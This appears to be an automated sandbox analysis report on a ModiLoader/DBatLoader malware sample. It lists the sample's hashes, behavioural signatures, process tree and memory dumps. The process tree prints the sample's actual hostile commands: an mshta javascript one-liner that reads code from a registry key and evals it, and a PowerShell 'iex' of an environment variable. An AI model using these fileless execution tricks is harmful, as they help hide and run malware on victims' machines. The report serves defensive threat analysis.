Analysis

  • max time kernel
    69s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    02-08-2022 02:33

General

  • Target

    5ab7786518f2e12e631df4b89431384e1268c2bc357cfb1f932ac95a92a50f83.exe

  • Size

    256KB

  • MD5

    6f2daa391bd82e2d92d46a4dc40e8a31

  • SHA1

    6186cb72b280818a568a8351c0d2e990a5673b54

  • SHA256

    5ab7786518f2e12e631df4b89431384e1268c2bc357cfb1f932ac95a92a50f83

  • SHA512

    308ced18268648d349dd82d6a8b6614649bb54f2f7ad743ffdc46279810659a118609df2db7383b0736ec11b5edfc5dd193deae72654921db1d8a27b8a7b7758

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5ab7786518f2e12e631df4b89431384e1268c2bc357cfb1f932ac95a92a50f83.exe
    "C:\Users\Admin\AppData\Local\Temp\5ab7786518f2e12e631df4b89431384e1268c2bc357cfb1f932ac95a92a50f83.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1020
    • C:\Users\Admin\AppData\Local\Temp\5ab7786518f2e12e631df4b89431384e1268c2bc357cfb1f932ac95a92a50f83.exe
      "C:\Users\Admin\AppData\Local\Temp\5ab7786518f2e12e631df4b89431384e1268c2bc357cfb1f932ac95a92a50f83.exe"
      2⤵
        PID:1996
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:aWZwjJ1="qndON";aj50=new%20ActiveXObject("WScript.Shell");Zyqr2P7="uHy";rf3EK=aj50.RegRead("HKLM\\software\\Wow6432Node\\9jR7JV3\\Wfr9um2h6q");A4hGGwRp="qOieBx21";eval(rf3EK);AKQPf4="0B";
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1740
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:iwanwh
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1476
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
          dw20.exe -x -s 460
          3⤵
            PID:1004

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1004-69-0x0000000000000000-mapping.dmp
      • memory/1476-64-0x0000000000000000-mapping.dmp
      • memory/1476-66-0x00000000737E0000-0x0000000073D8B000-memory.dmp
        Filesize

        5.7MB

      • memory/1476-68-0x00000000737E0000-0x0000000073D8B000-memory.dmp
        Filesize

        5.7MB

      • memory/1740-61-0x000007FEFB631000-0x000007FEFB633000-memory.dmp
        Filesize

        8KB

      • memory/1996-56-0x0000000000400000-0x000000000043A000-memory.dmp
        Filesize

        232KB

      • memory/1996-57-0x0000000000402E54-mapping.dmp
      • memory/1996-59-0x0000000000400000-0x000000000043A000-memory.dmp
        Filesize

        232KB

      • memory/1996-60-0x0000000075BF1000-0x0000000075BF3000-memory.dmp
        Filesize

        8KB

      • memory/1996-62-0x0000000000400000-0x000000000043A000-memory.dmp
        Filesize

        232KB

      • memory/1996-63-0x0000000000440000-0x0000000000516000-memory.dmp
        Filesize

        856KB

      • memory/1996-67-0x0000000000440000-0x0000000000516000-memory.dmp
        Filesize

        856KB